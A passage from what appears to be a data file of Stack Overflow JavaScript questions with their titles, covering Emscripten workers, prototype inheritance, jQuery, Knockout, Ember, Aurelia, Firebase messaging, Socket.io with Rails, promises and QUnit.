arguments will not be transferable ) . What solution Emscripten has for such a case . Note that my special requirement is that I want my JavaScript to postMessage ( ) directly into an Emscripten-compiled C++ function , without being mediated by a sender C++ program on the front side , or a receiver JavaScript code on the Worker side.and the Worker 's C++ code is likewhich is compiled with Emscripten in the following way : My API on the web worker needs to send and receive tuples of multiple types , i.e . it will have input and output like the following : test_data_worker ( [ b8verts , 150000 , b8faces ] ) ; // does n't work < html > < script > 'use strict ' ; var worker = new Worker ( './emworker.compiled.js ' ) ; var api_info = { test : { funcName : `` worker_function '' , callbackId : 3 , } , } ; function test_data_worker ( arguments_data_buffer ) { // The protocol used by Emscripten worker.postMessage ( { funcName : api_info.test.funcName , callbackId : api_info.test.callbackId , data : arguments_data_buffer , // 'finalResponse ' : false , } // , [ arguments_data_buffer ] //uncommet for transferable ) ; } function demo_request ( ) { var verts = new Float32Array ( [ 3.141592651234567890123456780,1,2 , 3,4,5 , 6,7,8 , 9,0.5,1.5 ] ) ; var faces = new Uint16Array ( [ 0,1,2 , 1,2,3 , 0,1,3 , 0,2,3 ] ) ; var b8verts=new Uint8Array ( verts.buffer ) ; var b8faces=new Uint8Array ( faces.buffer ) ; test_data_worker ( b8verts ) ; // b8verts.buffer to make it transferrable// Desired : //test_data_worker ( [ b8verts , b8faces ] ) ; // Doesnt work . sends two bytes instead //test_data_worker ( [ b8verts , 60 , b8faces ] ) ; // doesnt work //test_data_worker ( { verts : b8verts , d:60 , faces : b8faces } ) ; // doesnt work } worker.addEventListener ( 'message ' , function ( event ) { // event.data is { callbackId : -1 , finalResponse : true , data : 0 } switch ( event.data.callbackId ) { case api_info.test.callbackId : //api_revlookup . : // console.log ( `` Result sent back from web worker '' , event.data ) ; // Reinterpret data var uint8Arr = event.data.data ; var returned_message = String.fromCharCode.apply ( null , uint8Arr ) console.log ( returned_message ) ; break ; default : console.error ( `` Unrecognised message sent back . `` ) ; } } , false ) ; demo_request ( ) ; console.log ( `` request ( ) sent . `` ) ; < /script > < /html > # include < iostream > # include < emscripten/emscripten.h > extern `` C '' { int worker_function ( void* data , int size ) ; } std : :string hexcode ( unsigned char byte ) { const static char codes [ ] = `` 0123456789abcdef_ '' ; std : :string result = codes [ ( byte/16 ) % 16 ] + ( codes [ byte % 16 ] + std : :string ( ) ) ; return std : :string ( result = codes [ ( byte/16 ) % 16 ] + ( codes [ byte % 16 ] + std : :string ( ) ) ) ; } int worker_function ( void* data , int size ) { { std : :cout < < `` As bytes : `` ; size_t i = 0 ; char* char_data = ( char* ) data ; for ( ; i < size ; ++i ) { std : :cout < < hexcode ( ( char_data ) [ i ] ) < < `` `` ; } std : :cout < < std : :endl ; } { std : :cout < < `` As float : `` ; float* typed_data = ( float* ) data ; size_t typed_size = ( size + sizeof ( float ) -1 ) / sizeof ( float ) ; for ( size_t i = 0 ; i < typed_size ; ++i ) { std : :cout < < typed_data [ i ] < < `` `` ; } std : :cout < < std : :endl ; } std : :string result = std : :string ( `` I received `` ) + std : :to_string ( size ) + `` bytes . `` ; char* resstr = ( char* ) result.c_str ( ) ; emscripten_worker_respond ( resstr , result.size ( ) ) ; // not needed really return 314 ; // ignored } void worker_function2 ( float*verts , int numverts , int*faces , int numfaces ) { // } int main ( ) { return 0 ; } em++ -s EXPORTED_FUNCTIONS= '' [ '_main ' , '_worker_function ' , '_worker_function2 ' ] '' \ -s NO_EXIT_RUNTIME=1 \ -s DEMANGLE_SUPPORT=1 \ -s BUILD_AS_WORKER=1 -DBUILD_AS_WORKER \ -pedantic -std=c++14 \ emworker.cpp \ -o ./emworker.compiled.js typedef struct vf_pair { std : :vector < float > verts , // or a pair < float* , int > std : :vector < int > faces } mesh_geometry ; int query_shape ( char* reduce_operator , char* shape_spec_json , float* points , int point_count ) ; struct vf_pair get_latest_shape ( int obj_id ) ; struct vf_pair meshify ( char* implicit_object ) ;",How to interact with an Emscripten Web Worker directly from a native JavaScript front "JS : I have one constructor function , which acts as a superclass : I prototype it to include a simple method : And now new Bla ( 1 ) .f ( ) ; will log `` f '' in the console . But , lets say that I need a subclass that inherits from Bla : Now , as expected , x.a gives me 5 . But , x.f is undefined ! Seems like Bla2 did n't inherit it from the Bla class ! Why is this happening and how do I correct it ? Bla = function ( a ) { this.a = a ; } Bla.prototype.f = function ( ) { console.log ( `` f '' ) ; Bla2 = function ( a ) { this.base = Bla ; this.base ( ) ; } x = new Bla2 ( 5 ) ;",Objects do n't inherit prototyped functions "JS : I have an awkward problem , due to inheriting a shedload of really , really badly formatted HTML.Basically I have some table rows like this : And what I need is a jQuery selector that will give me the first element of each block of classes . Is that clear enough ? I 'm not sure how else to explain it.So in the example case I would want rows 1 , 4 , and 7.Ive done this so far by selecting every nth child , but Ive now realised this wont work as there wont always be the same number of rows in each block of classes.Any help you guys can give it appreciated , as always : ) Cheers ! < tr class= '' odd '' > ... < /tr > < tr class= '' odd '' > ... < /tr > < tr class= '' odd '' > ... < /tr > < tr class= '' even '' > ... < /tr > < tr class= '' even '' > ... < /tr > < tr class= '' even '' > ... < /tr > < tr class= '' odd '' > ... < /tr > < tr class= '' odd '' > ... < /tr > < tr class= '' odd '' > ... < /tr >",Select the first element of several sets "JS : I 'm getting into user scripting with tampermonkey and ca n't get through this error , any help would be appreciated.I detect keys fine , space key triggers this function who will repeat itself as long as the key remains in the down position . The console writes the output normally for 30 seconds more or less and then there 's a TypeError.As per reputation-restriction , here 's a screenshot : User-Script : // ==UserScript==// @ name TEST STUFF -- -- -- -- -- -- -- -- -- -- // @ namespace http : //tampermonkey.net/// @ version 0.1// @ description try to take over the world ! // @ author You// @ run-at document-start// @ include http : //*// @ include https : //*// @ grant none// ==/UserScript== ( function ( ) { 'use strict ' ; window.addEventListener ( `` keydown '' , CaptureKeyPress ) ; window.addEventListener ( `` keyup '' , CaptureKeyPress ) ; var Hotkeys = { perform : 32 } ; var HotkeyToggle = false ; function CaptureKeyPress ( a ) { if ( a.keyCode == Hotkeys.perform ) { a.preventDefault ( ) ; a.stopPropagation ( ) ; a.cancelBubble = true ; a.stopImmediatePropagation ( ) ; if ( a.type == `` keydown '' & & ! HotkeyToggle ) { console.clear ( ) ; HotkeyToggle = true ; perform ( ) ; } if ( a.type == `` keyup '' & & HotkeyToggle ) { HotkeyToggle = false ; } } } function perform ( ) { if ( HotkeyToggle == false ) // exit { return 0 } //do stuff ... console.info ( `` working ... '' ) ; if ( HotkeyToggle == true ) // continue after everything completes { setTimeout ( ( ) = > { perform ( ) } , 280 ) ; return 0 } return 1 } } ) ( ) ;",SetimeOut interval fails with `` Can not convert undefined or null to object '' "JS : Short version ; jquery_ujs appears to conflict with Kaminari 's AJAX support and I do n't know why.In my Rails 4 app , I have the following lines in my application.jsIf I remove jquery_ujs , then the following code stops working ; it starts sending GET requests instead of DELETE requests and the user , per sending a GET request , simply receives the show page for the resource.But if I leave jquery_ujs in , Kaminari w/ AJAX stops working ... .goes nowhere when clicked ( though the HREF tag in the rendered HTML is correct ) .If I remove : remote = > true from the paginate @ horses link , then the link starts working . But , A ) I 'd like the AJAX to work for the sake of user experience , and B ) I would like to understand why this is all happening . //= require jquery//= require jquery_ujs//= require turbolinks//= require bootstrap//= require_tree . < % = link_to 'Delete Horse ' , horse , method : : delete , data : { confirm : 'Are you sure ? ' } % > < % = paginate @ horses , : remote = > true % >",jquery_ujs conflicts with Kaminari AJAX in Rails 4 ? "JS : I run into an issue when running my KnockoutJS v3.4.2 ( test ) application in Google Chrome.The memory usage of my page keeps increasing.The test code is a very simple piece of code , that changes the items in an observable array every second : HTML : JavaScript : Memory usage : In Firefox the memory usage does n't increase : start : 459.6 MB -- - > After +- 1 hour : 279.4 MBIn chrome the memory usage keeps increasing ( memory of individual tab ) : start : 52.912 MB -- - > After +- 1 hour : 566.120 MBIn edge the memory usage also keeps increasing ( memory of individual tab ) : start : 109.560 MB -- - > After +- 1 hour : 385.820 MBAm I doing something wrong in this code snippet ? Or would this be a bug in Google Chrome or KnockoutJS ? < html > < head > < title > KnockoutJS < /title > < /head > < body > < h1 > Foreach test < /h1 > < ul id= '' ul-numbers '' data-bind= '' foreach : { data : listOfItems } '' > < li > < span data-bind= '' text : $ data '' > < /span > < /li > < /ul > < script type= '' text/javascript '' src= '' ./lib/knockout.js '' > < /script > < script type= '' text/javascript '' src= '' ./index.js '' > < /script > < /body > < /html > var vm = { listOfItems : ko.observableArray ( ) } ; window.setInterval ( function updateList ( ) { var array = [ ] ; for ( var i = 0 ; i < 1000 ; i++ ) { var num = Math.floor ( Math.random ( ) * 500 ) ; array.push ( num ) ; } vm.listOfItems ( array ) ; } , 1000 ) ; ko.applyBindings ( vm ) ;",Memory leak with KnockoutJS foreach binding "JS : Ember ca n't seem to find the findAll ( ) and find ( ) methods I have implemented on my Property model . Here are the errors I am getting : andMy router is set up like this : And here is my model : What am I doing wrong ? Should those methods go on the Property model or should they go somewhere else ? Should I be override the deserialize ( ) method instead of using find ( ) ? But even if I use that workaround findAll ( ) still would n't work and I would still get that first error.Thanks for any help . TypeError : App.Property.findAll is not a function Error : assertion failed : Expected App.Property to implement ` find ` for use in 'root.property ' ` deserialize ` . Please implement the ` find ` method or overwrite ` deserialize ` . App.Router = Ember.Router.extend ( { showProperty : Ember.Route.transitionTo ( 'property ' ) , root : Ember.Route.extend ( { home : Ember.Route.extend ( { route : '/ ' , connectOutlets : function ( router ) { router.get ( 'applicationController ' ) .connectOutlet ( 'home ' , App.Property.findAll ( ) ) ; } } ) , property : Ember.Route.extend ( { route : '/property/ : property_id ' , connectOutlets : function ( router , property ) { router.get ( 'applicationController ' ) .connectOutlet ( 'property ' , property ) ; } , } ) , } ) } ) ; App.Property = Ember.Object.extend ( { id : null , address : null , address_2 : null , city : null , state : null , zip_code : null , created_at : new Date ( 0 ) , updated_at : new Date ( 0 ) , find : function ( ) { // ... } , findAll : function ( ) { // ... } } ) ;",Ember ca n't find find ( ) method on model "JS : Why does JavaScript interpret 12 and `` 12 '' as equal ? Output : And then , what is the difference between `` 12 '' and `` string '' ? function sanitise ( x ) { if ( isNaN ( x ) ) { return NaN ; } return x ; } var a = `` 12 '' var b = 12console.log ( typeof ( a ) ) console.log ( sanitise ( a ) ) ; console.log ( sanitise ( b ) ) ; > `` string '' > `` 12 '' > 12",Why does isNAN ( `` 12 '' ) evaluate to false ? "JS : This works…Though , I 'm more inclined to do something likeorneither of which work . Is there a syntax similar to this or must manipulations be done outside of the destructing assignment ? const { prop1 : val1 , prop2 : val2 ) = req.queryval1 = val1.toLowerCase ( ) const { prop1.toLowerCase ( ) : val1 , prop2 : val2 } = req.query const { prop1 : val1.toLowerCase ( ) , prop2 : val2 } = req.query",Can the props in a destructuring assignment be transformed in place ? "JS : I have an ASP.NET page that contains two div 's . Both have search fields and a search button contained within each of them . When I first come to this page , Div A has the class 'SearchDiv ' while Div B has 'SearchDivDisabled ' . These classes change the appearance so the user knows which search type they currently have enabled . When Div B is clicked , JavaScript changes it 's class to 'SearchDiv ' , and changes Div A to 'SearchDivDisabled ' . This all works like a charm . The problem I have is when a user changes to Div B , clicks Div B 's search button ( which obviously redirects to a results page ) , and then uses the browser 's back button . When they return to the search page , Div A is enabled again , and Div B is Disabled , even though they last used Div B . In the search button event handler I set the class attribute of the Divs before I redirect , hoping this will update the page on the server so when the user returns , their last-enabled Div will still be enabled ( regardless of which one was enabled when the page was first visited ) .I believe this involves the ViewState , but I 'm unsure why the class attribute is not saved so when the user returns to the page it is restored . Is there something I 'm missing here , or some easy way to guarantee the behavior I want ? Thanks ! Edit : Here is the button event handler code : RedirectToResults ( ) is called from the actual button event handler with the enum representing the selected search panel and the results page url . SearchContainers is a dictionary mapping an integer to the search Div . The important code is the last line , where I 'm updating the selected search container with the 'active ' search class , rather than the disabled one ( which I assign to the other div ( s ) ) Additional Update : I have been battling with this issue for the last couple days . I was sort of able to get the following code to work ( in page_load ) : But this really is n't a solution , as everything else that gets cached correctly is lost , which leaves me worse off than when I started . Everything else seems to persist fine , it is just the class of the div that is causing me struggles . Edit : Just wanted to update this for anyone else that comes across this . While I believe there is a solution here with setting the cacheability of the page to force the browser to postback , I could not get it working 100 % with all browsers ( primarily Firefox was giving me fits , which is a documented bug ) . I do believe the cookie solution would work , but I felt that may be a bit more complex than necessary for just trying to store the state of a couple div 's . What I ended up doing was tying the div 's class to the state of it 's correlating radio button ( there are radio buttons next to the div which allow the users a more visual way of enabling search panels ) . I noticed these radio buttons retained the correct checked value when the back button was used , so I could guarantee they would indicate the correct div to be enabled . So in JavaScript 's onload I check which radio button is enabled , and then adjust the classes of the search div 's accordingly . This is a pretty big hack , but has worked 100 % across all browsers , and only took about 10 lines of JavaScript . protected void RedirectToResults ( int searchEnum , string resultPage ) { ShowContainer ( searchEnum ) ; Response.Redirect ( resultPage + this.webParams.getAllVariablesString ( null ) ) ; } protected void ShowContainer ( int searchContainerToShow ) { if ( searchContainerToShow < 0 || searchContainerToShow > SearchContainers.Count || SearchContainers.Count == 0 ) return ; //disable all search panels foreach ( SearchContainer container in SearchContainers.Values ) { container.searchDiv.Attributes.Add ( `` class '' , `` SearchDivDisabled '' ) ; } //enable selected panel SearchContainers [ searchContainerToShow ] .searchDiv.Attributes.Add ( `` class '' , `` SearchDiv '' ) ; } Response.AppendHeader ( `` Cache-Control '' , `` no-cache , no-store , must-revalidate '' ) ; // HTTP 1.1 . Response.AppendHeader ( `` Pragma '' , `` no-cache '' ) ; // HTTP 1.0 . Response.AppendHeader ( `` Expires '' , `` 0 '' ) ; // Proxies .",Div 's Class not persisting when 'back ' button is used "JS : When working through the official video tutorial for Firebase Cloud Messaging , I am not able to get a messaging token without hosting the application.Here is my app.js file : I have a firebase-messaging-sw.js file in my root directory.When I load the index.html file directly in my browser and accept the dialog , I receive an undefined value for the token . The full console output is : If I host the application by editing the firebase.json file to read : And then run firebase serve -p 8081 , open http : //localhost:8081 , and accept the dialog , I do receive a token . The full output is : Is this a documented constraint ? Is there a way to receive a token without hosting the application ? /* global firebase */// Initialize Firebasevar config = { apiKey : 'AIzaSyBYfb9HAi_oE-PKqFNkRQcxAgLU-nm8sIE ' , authDomain : 'web-quickstart-c0309.firebaseapp.com ' , databaseURL : 'https : //web-quickstart-c0309.firebaseio.com ' , projectId : 'web-quickstart-c0309 ' , storageBucket : 'web-quickstart-c0309.appspot.com ' , messagingSenderId : '713880824056 ' } firebase.initializeApp ( config ) const messaging = firebase.messaging ( ) messaging.requestPermission ( ) .then ( ( ) = > { console.log ( 'Permission granted . ' ) return messaging.getToken ( ) .then ( token = > { console.log ( 'messaging token test : ' , token ) return token } ) .catch ( error = > { console.log ( 'messaging error : ' , error ) } ) } ) .then ( token = > { console.log ( 'permission token test : ' , token ) } ) .catch ( error = > { console.log ( 'permission error : ' , error ) } ) 16:20:35.744 app.js:17 Permission granted.16:20:35.750 app.js:20 messaging token test : null16:20:35.751 app.js:28 permission token test : null { `` hosting '' : { `` public '' : `` ./ '' } } 16:23:42.902 app.js:17 Permission granted.16:23:43.059 app.js:20 messaging token test : eyd1EaFwULQ : APA91bGUZr9fAGcCaYVtXTPjk55AmpWLNdaqGapMa1S1GWTYeJwtJraEKuhAPpSM-v-2xPaSJQgTKRVosTN-0KRPHCccjdRZNDkegtW2HMC_mSbdap9h5TeH7KKQSbN4QrjVmIl7VZlu16:23:43.060 app.js:28 permission token test : eyd1EaFwULQ : APA91bGUZr9fAGcCaYVtXTPjk55AmpWLNdaqGapMa1S1GWTYeJwtJraEKuhAPpSM-v-2xPaSJQgTKRVosTN-0KRPHCccjdRZNDkegtW2HMC_mSbdap9h5TeH7KKQSbN4QrjVmIl7VZlu",Firebase Cloud Messaging without hosting ( Web/JavaScript ) "JS : I have a simple script that adds and removes padding-left to textareas/inputs on focus/blur , respectively . This is to make room for a small , absolutely-positioned button on the left side of the field , without blocking the text underneath it . [ Edit ] It simultaneously changes the width of the element as well , to keep the total size of the block consistent.In almost all browsers this works fine and dandy , except MSIE 9 . [ Edit ] Although the box stays the same size , indicating the CSS for both properties was properly updated , the text in the input/textarea behaves as though the padding has not changed . I know the callbacks for the focus/blur events are firing and updating the DOM object 's style properties properly , because fetching the current value of the property always gives you the value expected.i.e.Yet the text in the input/textarea field still shows the previous padding . Basically , something seems to be confusing MSIE9 's rendering engine in the context these fields appear when you try to change width and padding at the same time.As soon as you start typing in the field MSIE will fix the problem and make the text in the input/textarea obey the current padding . Realizing this , I tried adding a field.val ( field.val ( ) ) ; to the end of the blur and focus callbacks . This solves one problem , and introduces another in the form of resetting the caret position to the beginning of the input/textarea.Is there any way to force a browser to redraw a given element without going through the drama of removing and reinserting it into the DOM ? [ EDIT ] Here is a fiddle showing an abbreviated form of the code ( which has additional functionality in its actual context ) : http : //jsfiddle.net/KYrXM/You will see that the padding is updated , but no visible change is made until AFTER you start typing.This problem goes away if I choose not to change the width property as well , though I need to in order to keep the box size constant in my application . var field = $ ( field ) ; field.css ( { 'padding-left ' : 0 } ) ; console.log ( field.css ( 'padding-left ' ) ) ; // '0px '",MSIE9 -- text in input/textarea not obeying current padding when CSS for width and padding adjusted simultaneously "JS : I recently built my React App ( scaffolded using Create React App , using yarn build ) using our CI server and got build error shown below : Dependencies : Error : VariableDeclarator ASTNodes are not handled by markPropTypesAsUsed at Array.forEach ( < anonymous > ) at Array.forEach ( < anonymous > ) at Array.map ( < anonymous > ) `` dependencies '' : { `` core-js '' : `` ^3.0.1 '' , `` react '' : `` ^16.8.0 '' , `` react-dom '' : `` ^16.8.0 '' , `` prop-types '' : `` ^15.6.2 '' , `` react-router-dom '' : `` ^4.2.2 '' }",React : VariableDeclarator ASTNodes are not handled by markPropTypesAsUsed "JS : I want to use a read more button after a text is larger than 300 characters.I use this jQuery to fix this , but it is not working as I want.See this JSFiddle : https : //jsfiddle.net/8cm67cun/1/How can I make this work , to display the < a > class outside the < p > class . var $ j = jQuery.noConflict ( ) ; $ j ( '.reviewtekst ' ) .each ( function ( ) { var $ pTag = $ j ( this ) .find ( ' p ' ) ; if ( $ pTag.text ( ) .length > 300 ) { var shortText = $ pTag.text ( ) ; shortText = shortText.substring ( 0 , 300 ) ; $ pTag.addClass ( 'fullArticle ' ) .hide ( ) ; $ pTag.append ( ' < a class= '' read-less-link '' > Lees minder < /a > ' ) ; $ j ( this ) .append ( ' < p class= '' preview '' > '+shortText+ ' < /p > < div class= '' curtain-shadow '' > < /div > < a class= '' read-more-link '' > Read more < /a > ' ) ; } } ) ; $ j ( document ) .on ( 'click ' , '.read-more-link ' , function ( ) { $ j ( this ) .parent ( ) .hide ( ) .prev ( ) .show ( ) ; } ) ; $ j ( document ) .on ( 'click ' , '.read-less-link ' , function ( ) { $ j ( this ) .parent ( ) .hide ( ) .next ( ) .show ( ) ; } ) ;",Display read more button "JS : I 'm still studying but lately changed the field I want to work in to web development . So programming is nothing new to me but I never really looked twice at javascript.I 'm trying to learn fast but I got confused about the different inheritance patterns used in javascript . I looked up on the classical prototype chain where the .prototype reference is set by the programmer ( I think this is commonly refered to as prototype pattern ) .Then I was reading lots of blogs and articles about OLOO and its advantages regarding simplicity.So I tried coding a little sample myself and while researching for a good approach I came up with a snipped of code that I ca n't really put into any of those two categories.I made a fiddle if one wants to have a look : http : //jsfiddle.net/HB7LU/19377/For anyone else , this is basically my code : Hopefully someone can clarify what it is I did here and what drawbacks I 'll face using this method . I know it ca n't be OLOO because OLOO relies on a simple Object.create ( ... ) ; to create new objects.EDIT : Link to fiddle was broken , sorry function Parent ( ) { return { array : [ ] , add : function ( element ) { this.array.push ( element + this.array.length.toString ( ) ) ; } , getAll : function ( ) { return this.array ; } , } ; } ; function Child ( ) { return Object.assign ( Parent ( ) , { removeAllButOne : function ( ) { this.array.splice ( 1 ) ; } } ) ; } ; foo = Parent ( ) ; foo.add ( 'foo ' ) ; bar = Child ( ) ; bar.add ( 'bar ' ) ; foo.add ( 'foo ' ) ; bar.add ( 'bar ' ) ; bar.removeAllButOne ( ) ;",OLOO Pattern clarification "JS : I have a problem with customAttribute . I want to use it to plug in jquery-ui datepicker . Idea taken from here : http : //www.danyow.net/jquery-ui-datepicker-with-aurelia/ However it looks like it is not working at all . I have tried to debug the application and it looks like attached @ datePicker.js is not fired at all . However the file itself is being requested from the server . The worst thing is that I had it working yesterday evening , but today morning ... I have created simple example in my fork of skeleton application : https : //github.com/Exsilium122/skeleton-navigationso it is ready to be cloned and run for troubleshoot . The most important two files : welcome.htmldatepicker.jsand the console is clean : DEBUG [ aurelia ] Loading plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-binding @ 0.16.1. aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-binding @ 0.16.1. aurelia-logging-console.js:38 DEBUG [ aurelia ] Loading plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-resources @ 0.16.1. aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-resources @ 0.16.1. aurelia-logging-console.js:38 DEBUG [ aurelia ] Loading plugin http : //localhost:9000/jspm_packages/github/aurelia/history-browser @ 0.9.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin http : //localhost:9000/jspm_packages/github/aurelia/history-browser @ 0.9.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Loading plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-router @ 0.17.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin http : //localhost:9000/jspm_packages/github/aurelia/templating-router @ 0.17.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Loading plugin http : //localhost:9000/jspm_packages/github/aurelia/event-aggregator @ 0.9.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin http : //localhost:9000/jspm_packages/github/aurelia/event-aggregator @ 0.9.0. aurelia-logging-console.js:38 DEBUG [ aurelia ] Loading plugin resources/index . aurelia-logging-console.js:38 DEBUG [ aurelia ] Configured plugin resources/index . aurelia-logging-console.js:46 INFO [ aurelia ] Aurelia Started aurelia-logging-console.js:38 DEBUG [ templating ] importing resources for http : //localhost:9000/dist/app.html [ `` nav-bar.html '' , `` bootstrap/css/bootstrap.css '' ] aurelia-logging-console.js:38 DEBUG [ templating ] importing resources for http : //localhost:9000/dist/nav-bar.html [ ] aurelia-logging-console.js:38 DEBUG [ templating ] importing resources for http : //localhost:9000/dist/welcome.html [ `` http : //localhost:9000/dist/resources/datepicker '' ] < template > < require from= '' ./resources/datepicker '' > < /require > < input id= '' myDate '' datepicker= '' datepicker '' value.bind= '' timestamp | dateFormat '' / > < /template > import { inject , customAttribute } from 'aurelia-framework ' ; import 'jquery-ui ' ; import 'jquery-ui/themes/cupertino/jquery-ui.css ! ' ; @ customAttribute ( 'datepicker ' ) @ inject ( Element ) export class Datepicker { constructor ( element ) { this.element = element ; } attached = ( ) = > { console.log ( `` attached Datepicker '' ) ; $ ( this.element ) .datepicker ( { dateFormat : 'mm/dd/yy ' } ) .on ( 'change ' , e = > fireEvent ( e.target , 'input ' ) ) ; } detached = ( ) = > { console.log ( `` detached Datepicker '' ) ; $ ( this.element ) .datepicker ( 'destroy ' ) .off ( 'change ' ) ; } } function createEvent ( name ) { var event = document.createEvent ( 'Event ' ) ; event.initEvent ( name , true , true ) ; return event ; } function fireEvent ( element , name ) { var event = createEvent ( name ) ; element.dispatchEvent ( event ) ; }",Aurelia customAttribute not working "JS : Consider : When you mouse over the radio button or the label , the radio button gets highlighted . Different browsers highlight it differently , but it looks like a default behavior.Now let 's say there is a somewhere else on the page.Is there any way to trigger that default highlight of the radio button when mousing over the div # bla ? EDIT : To clarify , I was looking to `` trigger '' a native `` : hover '' pseudo-class of an element , which is not possible.Spec < input type= '' radio '' id= '' a '' / > < label for= '' a '' > Hello < /a > < div id= '' bla '' > blabla < /div >",Programatically trigger browser 's default hover effect on HTML input "JS : In all examples I 've seen , they 're similar to thisIs there an instance where the ports array will ever have more than one element ? Using chrome : //inspect on the SharedWorker and printing out e , I getregardless of how many instances are spawned sharing the SharedWorker , where the length is always 1 . Why is n't it just a MessageEvent instead of an array ? What use case is there for it to be an array ? onconnect = function ( e ) { var port = e.ports [ 0 ] ; port.onmessage = function ( e ) { var workerResult = 'Result : ' + ( e.data [ 0 ] * e.data [ 1 ] ) ; port.postMessage ( workerResult ) ; } port.start ( ) ; }",Why does the SharedWorker onConnect event have a Ports array ? "JS : I have a form marked up as Ordinarily , I could access the action of the form in javascript by referring to the .action of the form object , for examplewhich would return the valueHowever , if I have , as a component of the form , an item named `` action '' , this `` action '' becomes the content of the form 's action . That is , if the form markup contains , for example , Then returns the value Now , I did work out how to get around this : by using However , it 's a nasty gotcha that confused me for too long . Is this a bug ? A known gotcha of DOM management ? Or should I just get into the habit of using .getAttribute ( ) ? < form class= '' form1 '' method= '' post '' action= '' form1.php '' style= '' width:405px '' > document.forms [ 0 ] .action form1.php < input name= '' action '' type= '' hidden '' value= '' check '' / > document.forms [ 0 ] .action < input name= '' action '' type= '' hidden '' value= '' check '' / > document.forms [ 0 ] .getAttribute ( `` action '' )",An input in a form named 'action ' overrides the form 's action property . Is this a bug ? JS : Why do the following two lines return different results ? Tested in the console of chrome version 28.0.1500.95 mDoes it work slightly differently for native types ? ( `` test '' instanceof String ) // returns false ( `` test '' .constructor == String ) // returns true,What 's the difference between using instanceof and checking the constructor ? "JS : I want to use node.js with my Rails-Project to serve asynchronous io . I do n't want to use juggernaut , faye or something like this , because I need clean connections with web-socket , server-sent events and spdy without an alternative . My first try to use node.js is now to use Socket.io , just to get in use with serving data to a node.js-module with JavaScript . But it does n't work at all.My application.js looks like this : The requirements for io get correctly loaded in my application.html.erb : Now I want to use the socket to emit a event sent to all listening clients like this in a create.js.erb : The message gets created in the ArticlesCrontroller this way : I listen at this event in an other view called index.js.erb this way : The Socket.io looks like this : and seems to work right , because it tells me right how it serves the requested js-File : But it does n't work at all , although the create.js.erb gets rendered without an error : Even the jQuery-Function for resetting the form gets not executed , what works without the try to emit the socket-event . The article gets saved to the database correctly , so that is n't the problem . Can someone tell me where the problem might be ? Update : I figured out by using the JavaScript-debugger of chrome , that the problem starts with the definition of window.socket in the application.js . The error-code is : But io is defined in the socket.io.js-File I load in my application.html.erb . I did a workaround for application.js this way : The question is now : Why do I have to get the script this way , although it is loadet in the application.html.erb ? But despite this workaround the create.js.erb still does n't work yet . I will try to workaround that after having a bit of sleep . // This is a manifest file that 'll be compiled into including all the files listed below.// Add new JavaScript/Coffee code in separate files in this directory and they 'll automatically// be included in the compiled file accessible from http : //example.com/assets/application.js// It 's not advisable to add code directly here , but if you do , it 'll appear at the bottom of the// the compiled file.////= require jquery//= require jquery_ujs//= require_tree .window.socket = io.connect ( 'http : //localhost:8080/ ' ) ; < % = javascript_include_tag `` application '' , `` http : //localhost:8080/socket.io/socket.io.js '' % > $ ( function ( ) { window.socket.emit ( 'message ' , < % = @ message = > ) ; } ; $ ( `` # new_article '' ) [ 0 ] .reset ( ) ; def create @ article = current_user.articles.build ( params [ : article ] ) if @ article.save msg = { : data = > @ article.to_json } @ message = msg.to_json endend $ ( function ( ) { window.socket.on ( 'message ' , function ( msg ) { $ ( `` # articles '' ) .prepend ( < % = escape_javascript render ( Article.new.from_json ( msg.data ) ) % > ) ; } ) ; } ) ; var io = require ( 'socket.io ' ) .listen ( 8080 ) ; io.sockets.on ( 'connection ' , function ( socket ) { socket.on ( 'message ' , function ( ) { } ) ; socket.on ( 'disconnect ' , function ( ) { } ) ; } ) ; info - socket.io starteddebug - served static /socket.io.js Rendered articles/create.js.erb ( 0.5ms ) Completed 200 OK in 268ms ( Views : 70.0ms | ActiveRecord : 14.6ms ) Uncaught ReferenceError : io is not defined ( anonymous function ) $ .getScript ( 'http : //localhost:8080/socket.io/socket.io.js ' , function ( ) { window.socket = io.connect ( 'http : //localhost:8080/ ' ) ; } ) ;",Rails 3.1 - JS - Socket.io-emit in *.js.erb gets not executed and prevents execution of jQuery-Function "JS : I have a asynchronous code which I want to run synchronously in one of my node js script , But this does n't wait for the code block to complete and resolves the empty object - new Promise ( ( resolve , reject ) = > { if ( object.email ! == undefined ) { for ( let i = 0 ; i < = object.email.length ; i++ ) { let emailObject = object.email [ i ] if ( emailObject ! == undefined ) { this.isEmailUnsubscribed ( emailObject , options ) .then ( result = > { console.log ( ' > > isEmailUnsubscribed result in send email notification : ' + result ) if ( ! result ) { emailObjects.push ( emailObject.EmailID ) } } ) } } console.log ( 'emailObjects ' ) console.log ( emailObjects ) resolve ( emailObjects ) } } ) .then ( emailObjects = > { object.email = emailObjects console.log ( 'Email Objects from rules.evaluate ' ) console.log ( emailObjects ) // At this point my object is always empty . this.sendEmailToSelectedUsers ( object , options ) } )",Promise does n't wait a for loop to complete "JS : Is there a standard way to deal with non-saveable values in Backbone.e.g . If I call save ( ) on this model it will throw an error as there is no corresponding database field for inches . I can think of a few ways to fix this , but am wondering if there 's a tried and tested approach generally best used for this ? At the moment my preferred solution is to extend Backbone 's toJSON method and to allow passing of a boolean parameter dontCleanup to allow for it to still return all the model 's values ( including the non saveable ones ) when it 's needed e.g . for passing to a template . MyModel = Backbone.extend ( Backbone.Model , { initialize : function ( ) { this.set ( { 'inches ' : this.get ( 'mm ' ) / 25 } ) ; } } )",Dealing with non-saveable values in Backbone "JS : My tests may look like this : The output of QUnit will look like thisIs it possible to make QUnit output the module names ? I would love to have : module ( `` some module '' ) ; test ( `` test A '' , ... ) ; test ( `` test B '' , ... ) ; module ( `` other module '' ) ; test ( `` test C '' , ... ) ; test ( `` test D '' , ... ) ; 1. test A ( 0 , 0 , 0 ) 2. test B ( 0 , 0 , 0 ) 3. test C ( 0 , 0 , 0 ) 4. test D ( 0 , 0 , 0 ) some module1 . test A ( 0 , 0 , 